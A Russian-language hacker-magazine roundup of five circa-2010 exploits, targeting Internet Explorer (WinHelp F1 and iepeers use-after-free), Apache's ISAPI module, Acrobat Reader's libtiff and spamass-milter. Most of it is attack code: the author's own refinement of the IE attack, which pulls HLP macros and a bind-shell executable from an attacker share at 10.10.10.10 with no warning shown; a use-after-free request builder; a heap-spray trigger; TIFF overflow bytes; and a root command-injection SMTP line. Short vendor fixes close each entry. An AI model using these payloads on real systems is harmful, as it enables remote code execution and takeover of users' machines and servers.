Выполнение произвольного кода в браузере Internet Explorer

 

Targets

  • Internet Explorer 7/8
  • Windows XP
  • Windows 2000/2003
 

Brief

Достаточно забавная уязвимость была обнаружена Маурицием Продеусом (Maurycy Prodeus), эксплуатирование которой приводит к выполнению произвольного кода через браузер Internet Explorer. Суть ее сводится к тому, что используя функцию MsgBox(), при использовании Visual Basic-скрипта, можно указать в качестве параметра этой функции путь к активному .hlp-файлу. Этот файл будет открыт, если нажать клавишу <F1> в момент работы MsgBox(). Сам файл может при этом находиться, например, на шаре или в директории WebDAV. Выполнение кода происходит потому, что в этом самом .hlp файле могут содержаться макросы, например ExecFile().

 

Exploit

Эксплуатировать уязвимость можно, используя соответствующий модуль метасплойта. В таком варианте шеллкод соберется в исполняемый файл, и запустится средствами HLP макроса при нажатии <F1>. Единственный минус — так как получившейся бинарный файл не является доверенным, то есть подписанным, то после нажатия клавиши пользователь увидит недружелюбное окно с вопросом на тему, что сейчас, мол, какой-то исполняемый файл запускаться вздумал, не соизволите ли разрешить/запретить это безобразие. Чтобы опробовать сие чудо, достаточно найти в метасплойте модуль ie_winhlp32. Выбирая настройки, нужно учесть, что данный модуль будет работать только на 80 порту, а путь URIPATH должен быть «/». В противном случае эксплойт будет ругаться.

Все хорошо, но вот это окно с предупреждением о недоверенном исполняемом файле портит всю малину. Немного пораскинув мозгами, я придумал способ, как убрать это окошко. Моя идея заключается в том, что окошко исчезнет, если макрос в HLP-файле не будет сразу запускать EXE, а сначала будет подключен сетевой ресурс как сетевой диск. Для этого придется создать свой HLP-файл. Нам понадобится Microsoft Help Workshop версии 4 (есть на диске). Для создания HLP-файла первоначально нужно создать RTF-файл, например в Word’e. В него нужно добавить сноски (Вставка„„Ссылка->Сноска). Символ сноски имеет самое непосредственное значение. Создай сноски: ‘$ ZLO’, ‘# IDH_1’ — заголовок и идет имя макроса с параметрами. Допустим, мы создали сетевой ресурс free, и наш IP — 10.10.10.10. Тогда добавим такие сноски:

!ExecFile(cmd,/c net use z: \\\\10.10.10.10\\free)
!ExecFile(cmd,/c wscript z:\\exec.vbs)

Таким образом, эксплойт сначала подключит сетевой диск, а потом без всяких вопросов запустит скрипт exec.vbs. Содержимое exec.vbs:

Dim WshShell,oExec
Set WshShell = wscript.createobject("wscript.shell")
Set oExec = WshShell.Exec("z:\zlo.exe")

Данный скрипт запускает исполняемый файл. Но зачем нужен скрипт, когда можно сразу запустить файл? Если шеллкод метасплойта переделать в исполняемый файл, и запустить средствами макроса, то он не отдаст управление консоли, и в итоге пользователь после загрузки шеллкода увидит черное окошко cmd.exe, которое будет висеть, пока процесс не будет закрыт. Если запускать через скрипт, то тогда wscript не даст «захватить» консоль, создав для шеллкода свой процесс, и все что увидит пользователь, если вообще заметит — мигание cmd.exe. Теперь, собственно о том, как из шеллкода сделать исполняемый файл. Очень просто — загружаем cygwin консоль метасплойта и выполняем:

msfpayload windows/shell_bind_tcp LPORT=4444 X > zlo.exe

Для компиляции HLP-файла, создаем проект в Microsoft Help Workshop, жмем кнопку File, добавляем наш RTF. Затем жмем кнопку Map и добавляем запись: IDH_1=1. После этого жмем на верхней панели кнопку Compile — в итоге должен получиться файл с расширением .hlp. Теперь создаем ресурс free, выкладываем туда HLP, EXE и VBS файлы. Ну и наконец, самое интересное — тело эксплойта, предложенного Маурицием:

<html>
<script type="text/vbscript">
big = "\\10.10.10.10\free\EXEC.HLP"
MsgBox "please press F1 to save the world", ,
"please save the world", big, 1
MsgBox "press F1 to close this annoying popup", ,"",
big, 1
</script>
</html>

Если пользователь нажмет <F1> во время появления сообщения о спасении мира, можно смело подсоединяться на 4444 порт с целью получения шелла. Параметр big указывает на наш HLP файл, а следующий параметр, единица, номер контекста (помнишь, мы делали IDH_1=1?).

 

Solution

Официальное решение от компании Microsoft — не нажимайте <F1>. Кроме того, предлагается отключить систему помощи: echo Y | cacls "%windir%\winhlp32.exe" /E /P everyone:N Не лишним будет установить для зоны Интернет повышенный уровень безопасности. Сделать это можно в настройках Internet Explorer (Сервис->Свойства обозревателя->Безопасность->Интернет->Высокий).

 

Использование освобожденной памяти в модуле APACHE ISAPI_MODULE

 

Targets

  • Apache <= 2.2.14
  • Windows XP
  • Windows 2000/2003
 

Brief

Модуль isapi известного веб-сервера Apache для платформы Windows служит для использования расширений, написанных под веб-сервер IIS. Данный модуль подключен к серверу по умолчанию. Для успешной эксплуатации уязвимости необходимо, чтобы хоть какое-нибудь расширение было установлено. Само расширение представляет собой специальную DLL-библиотеку, которая может находиться, например, в папке cgi-bin. В конфиге апача должен быть установлен соответствующий обработчик для DLL файлов: "AddHandler isapi-handler .dll". Если целевой сервер обрабатывает ISAPI-расширения, то он может быть успешно захвачен, так как в этом модуле присутствует ошибка использования памяти после освобождения. Суть в том, что если послать запрос к ISAPI-расширению и оборвать сессию (RESET-пакетом), то выделенная под модуль память освободится, но указатель на нее сохранится. При повторном запросе, модуль isapi, увидев, что указатель у него есть, перейдет по нему, несмотря на то, что в памяти по данному адресу может быть что угодно.

 

Exploit

Баг-хантер Брэт Жервазони (Brett Gervasoni), написал эксплойт, который реализует данную уязвимость. Эксплойт посылает POST-запрос к ISAPI-расширению и тут же рвет сессию, затем немного ждет, дабы выделенная под расширение память могла освободиться, и шлет второй пакет к тому же расширению. Но второй пакет не простой, он с кучей больших псевдо-http-заголовков. В этих псевдозаголовках находится много буковок A (0x41 — INC ECX: семантический NOP) и шеллкод. Суть в том, что для этих заголовков нужна память, и вполне вероятно, что эти заголовки запишутся туда, где раньше располагалось расширение ISAPI. Это приведет к тому, что когда модуль попытается перейти по сохраненному адресу, то он попадет на шеллкод из псевдо-заголовков. Сложность эксплуатации в том, что для каждого расширения придется подбирать свой размер и количество псевдозаголовков, но эта задача решается методом грубой силы или, если есть доступ к расширению, дебаггером. В случае успеха, шеллкод создает текстовый файл sos.txt в директории апача.

Текстовый файл содержит одну строчку: "pwn-isapi". Разумеется, шеллкод можно заменить на более полезный. Разберем ключевые места кода эксплойта подробнее:
. . .
//входные параметры
serverIP = string(argv[1]);
isapiDLL = string(argv[2]);
//Готовим много буквок 'А'
memset(accept, 'A', 170);
memset(referer, 'A', 732);
memset(cookie, 'A', 5375);
memset(random, 'A', 7603);
memset(postData, 'A', 23378);
memset(footer, 'A', 298);
//Первый запрос к расширению
triggerVuln = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
"User-Agent: AAAAAAAA\r\n"
"Pragma: no-cache\r\n"
"Proxy-Connection: Keep-Alive\r\n"
"Host: " + serverIP + "\r\n"
"Content-Length: 40334\r\n\r\n" + string(footer);
//Второй запрос
payload = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
"Accept: " + string(accept) + "\r\n"
. . .
"Proxy-Connection: Keep-Alive\r\n"
"Okytuasd: " + string(cookie) + string(shellcode)
+ "\r\n" //пошли псевдо-заголовки и шеллкод
"Asdasdasdasdasd: " + string(random) + string(shellcode) + "\r\n"
"Asdasda: " + string(random) + string(shellcode) + "\r\n"
"Sewrwefbui: " + string(random) + string(shellcode) + "\r\n"
"Qdfasdernu: " + string(random) + string(shellcode) + "\r\n"
"Cdffew-asdf: " + string(random) + string(shellcode) + "\r\n"
. . .
"Content-Length: 25054\r\n\r\n" +
string(postData) + "CCCC" + string(shellcode) + "BBBB" + string(footer);
// конец запроса
. . .
//createConnection - устанавливает соединение
if (createConnection(serverIP, SERVER_PORT) == 1)
{
printf("- an error occurred connecting to the
server\n");
return 1;
}
. . .
linger_data.l_onoff = 0;
linger_data.l_linger = 0;
//Так автор хочет сделать RESET
setsockopt(sock, SOL_SOCKET, SO_LINGER,
(char*)&linger_data, sizeof(linger_data));
setsockopt(sock, SOL_SOCKET, SO_DONTLINGER,
(char*)&linger_data, sizeof(linger_data));
. . .
sendTransmission(triggerVuln); //Шлем первый пакет
Sleep(2000); //Ждем 2 секунда, что бы Apache успел проглотить первый пакет
WSACancelBlockingCall(); //И отвечаем RESET пакетом
. . .
//Далее закрываем сокет, очищаем структуры, и по новой
//организуем соединение
. . .
sendTransmission(payload); //Шлем второй POST запрос с псевдо-загловками и шеллкодом

Автор предупреждает, что данный эксплойт не будет работать с виртуальной машины, и против DEP. Если цель находится под защитой DEP, то в итоге будет простой DoS.

 

Solution

Установить версию веб-сервера 2.2.15. Конечно, если не используются ISAPI-расширения, то бояться эксплойта не стоит.

 

Использование освобожденной памяти в браузере internet explorer

 

Targets

  • Internet Explorer 6/7
  • Windows XP/Vista
  • Windows 2000/2003/2008
 

Briefs

Встречаем 0day. Девятого марта появилась новость о том, что злостные нарушители активно эксплуатируют неизвестную уязвимость в браузерах типа IE 6/7. Уже через день в коллекции метасплойта появился эксплойт, который реализует эту уязвимость. Суть уязвимости скрывается в библиотеке браузера iepeers.dll, которая, как стало последнее время модно, не может уследить за указателем на объект.

 

Exploit

Эксплойт полностью основан на «реальных событиях», то есть на коде, который был найден по наводке сотрудников McAfree, которые спалили в своем блоге домен сайта распространителя заразы www.topix21century.com. Код был деобфусцирован и переписан под метасплойт. Что характерно, патча, закрывающего брешь, в момент написания этих строк не было (на то оно и 0day). Рассмотрим ключевые места эксплойта:

<button id='trigg' onclick='attack();'
style='display:none'></button>
<script language='javascript'>
function attack()
{
heap_spray();
//Стандартный heap-spray, забиваем память шеллкодом
var obj = document.createElement('body');
//Создаем любой элемент
obj.addBehavior('#default#userData');
document.appendChild(obj);
//Добавляем созданный объект
//Уязвимость тут
for (i=0; i<10; i++)
{ //сдвигаем указатель…
obj.setAttribute('s',window);
//…устанавливая несуществующие атрибуты
}
window.status+='';
//объект windows указывает на шеллкод из кучи
}
document.getElementById('trigg').onclick();
//начало
}
</script></body></html>

Детали самой уязвимости не распространяются, но как можно понять из кода эксплойта, атакующий способен подменить указатель объекта window, в итоге последующее обращение к нему выйдет боком.

 

Solution

Решения проблемы для владельцев IE6/7 — DEP. Это конечно не панацея, но от этого эксплойта спасет. Кроме того, лучше перейти на последнюю версию браузера. Internet Explorer 8 не подвержен данной уязвимости. А также ждем заплатки от Microsoft, которая должна закрыть эту дыру.

 

Переполнение буфера в Libtiff Acrobat Reader

 

Targets

  • Acrobat Reader 9.0-9.3/8.0-8.2
  • Windows XP/Vista
  • Windows 2000/2003/2008
 

Brief

Формат PDF постоянно исследуется на предмет того, что же можно в него такого засунуть, чтобы при открытии оного выполнился произвольный код. За последние два года для Acrobat Reader было написано больше эксплойтов, чем для любого другого продукта за этот же период. Конкурировать пытается только лишь Flash. Объясняется это тем, что злоумышленников интересует надежный способ «затроянивания» несчастных пользователей интернета, а формат PDF — самый ходовой. В феврале 2010 людям стали приходить подозрительные письма с вложенным PDF файлом. Исследователи начали препарировать такие файлы, дабы понять, в чем же суть.

 

Exploit

В результате операции был получен новый эксплойт для Acrobat Reader. Опаснее других эксплойтов он тем, что не использует JavaScript, а значит, даже если у клиента в настройках выключен скриптинг, его все равно взломают. Ошибка кроется в переполнении буфера в библиотеке libTiff. LibTIFF, как нетрудно догадаться из названия, служит для обработки изображений формата TIFF. Прелесть в том, что разработчики Adobe использовали старую библиотеку libTiff, которую, по каким-то своим причинам, не обновляли. А надо было бы, ведь в 2006 году в ней было обнаружено множество уязвимостей. На эту тему были соответствующие сообщения и даже эксплойт, который эксплуатировал одну из уязвимостей этой библиотеки в *nix системах. Создатели зловреда для Acrobat Reader использовали старую уязвимость в библиотеке и наработки от эксплойта 2006 года и «вмонтировали» все это в PDF-формат (забавно, что при копировании формата TIFF они скопировали и шеллкод для *nix, который, правда, не используется). Переполнение происходит при обработке тэга «DotRange».

Когда функция TIFFFetchShortPair() библиотеки libTiff пытается прочесть данный тэг, она копирует последующие N байт (указанных в тэге) в переменную в стеке.

_TIFFmemcpy(cp, tif->tif_base + dir->tdir_offset, cc);

Вот так в «cp» копируется содержимое файла: без проверки размера “cc”, который берется как раз из нашего тэга. Кстати, размер cp четыре байта, так что переполнение налицо. Таким образом, эксплойт копирует содержимое TIFF-файла после указателя количества вложенных элементов тэга DotRange в стек, демонстрируя классический пример return-oriented programming (ROP). Если по-русски, то это значит обратно-ориентированное программирование. Его суть заключается в том, что мы меняем адрес возврата из уязвимой функции на код с нужной нам инструкцией, после которой идет инструкция возврата. Далее в стеке идет адрес следующей функции с другой нужной нам инструкцией и, опять-таки, командой возврата, после чего берется следующий адрес и так далее.

Таким вот способом можно работать с регистрами, собирая в них то, что нам нужно и вызывая полезные функции. Именно таким способом данный эксплойт вычисляет адрес шеллкода в заголовке TIFF-файла загруженного в памяти, после чего просто переходит по этому адресу, передавая управление классическому шеллкоду. Собственно полноценный эксплойт присутствует на диске, запускает он калькулятор. Боевую нагрузку можно с легкостью менять. Для шеллкода выделено 538 байт, впрочем, место под боевую нагрузку можно увеличить, если поменять константу TIFF_OFSET, однако это вряд ли понадобится, учитывая размеры популярных шеллкодов.
Ключевое место эксплойта функция gen_tiff(). Ключевая строка:

tiff += "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"

Здесь как раз указан тэг DotRange (“\x50\x01” = 0x150) и количество вложений — 0xCC. На самом деле это значение может быть любым, главное, чтобы оно было больше чем 0x98, так как по факту этих вложений именно столько. Эти вложения и есть то, что идет в стек, и следуют они дальше до конца переменной tiff. По сути, там находятся ROP-программа — последовательность аргументов и адресов, по которым будет «прыгать» процесс, калькулируя адрес шеллкода.

 

Solution

Установить последнюю версию Acrobat Reader, на данный момент — 9.3.1.

 

Удаленное выполнение произвольных команд от учетной записи root в APACHE Spamassassin milter plugin

 

Targets

  • spamass-milter < 0.3.1
 

Brief

Milter Plugin — плагин для Sendmail, который перенаправляет потоки входящий почты в SpamAssassin, который, в свою очередь, проверяет, что переданная ему почта не является спамом. Штука достаточно удобная и эффективная, а потому, судя по мануалам в интернете, часто встречающаяся. Уязвимость в ней обнаружил хакер с псевдонимом Kingcope, который уже не раз отличился: он опубликовал много интересных ошибок, найденных в популярных программах, например, xscreensaver (symlink), MySQL (format string), 0day в Samba (directory traversal) в феврале этого года и многое другое.

Ошибка в данном плагине позволяет выполнять команды из под учетной записи рута, причем удаленно, что делает эту уязвимость крайне опасной. Для ее реализации не понадобится писать сложные эксплойты и сидеть в дебаггере: все очень просто, потому что ошибка скрывается в неосмотрительном использовании функции popen().

 

Exploit

Уязвимый код (Си):

sfsistat
mlfi_envrcpt(
SMFICTX* ctx,
char** envrcpt
)
{
struct context *sctx = (struct context*)
smfi_getpriv(ctx);
SpamAssassin* assassin = sctx->assassin;
FILE *p;
#if defined(__FreeBSD__)
int rv;
#endif
debug(D_FUNC, "mlfi_envrcpt: enter");
if (flag_expand)
{
/* Обработка RCPT TO: */
char buf[1024];
char *fmt="%s -bv \"%s\" 2>&1";
#if defined(HAVE_SNPRINTF)
snprintf(buf, sizeof(buf)-1, fmt, SENDMAIL,
envrcpt[0]); //размер буфера указан
#else
/* Тут Kingcope обращает внимание на возможное переполнение, если отсутствует snprintf. А если даже и нет, то что, проверять размер уже не надо?*/
sprintf(buf, fmt, SENDMAIL, envrcpt[0]);
//готовим RCPT TO: в buf
#endif
debug(D_RCPT, "calling %s", buf);
#if defined(__FreeBSD__)
rv = pthread_mutex_lock(&popen_mutex);
if (rv)
{
debug(D_ALWAYS,
"Could not lock popen mutex: %s",
strerror(rv));
abort();
}
#endif
/*А вот тут уязвимость*/
p = popen(buf, "r");
//открываем pipe без фильтрации
ввода
if (!p)
{
debug(D_RCPT, "popen
failed(%s). Will not expand
aliases", strerror(errno));
assassin->
expandedrcpt.push_back(
envrcpt[0]);

Функция popen, делает еще один процесс и там вызывает функцию execl(shell path, "sh", "-c", <параметр popen>, (char *)0). В переменной fmt видно, что автор задумывал просто проверить введенное имя и перенаправить поток stderr, но ведь данную последовательность можно разбавить символом трубы ‘|’, что, по сути, будет означать еще одну командную последовательность, только надо выбраться за кавычки. Эксплуатируем:

$ nc localhost 25
220 ownthabox ESMTP Postfix
(Ubuntu)
mail from: me@me.com
250 2.1.0 Ok
rcpt to: root+:"|touch /tmp/foo"
250 2.1.5 Ok

Эксплойт демонстрирует мощь popen. В поле адреса в качестве адресата мы указываем root+:, далее идет кавычка, которая закроет параметр –bv для sendmail. Далее идет символ трубы и команда touch /tmp/foo. Это то, что для нас выполнит плагин. Затем идет открывающая кавычка, чтобы не допустить ошибку синтаксиса. Плагин в итоге выполнит:

sendmail –bv “root+:”|touch /tmp/foo”” 2>&1.

Администратор сможет убедиться в том, что кто-то создал файл под учетной записью рута

$ ls -la /tmp/foo
-rw-r--r-- 1 root root 0 2010-03-07 19:46 /tmp/foo

 

Solution

Исправить код вручную и пересобрать, так как патча пока нет.

Оставить мнение

Check Also

Используй, свободно! Как работает уязвимость use-after-free в почтовике Exim

В самом популярном на сегодняшний день почтовом сервере Exim был обнаружен опасный баг: ес…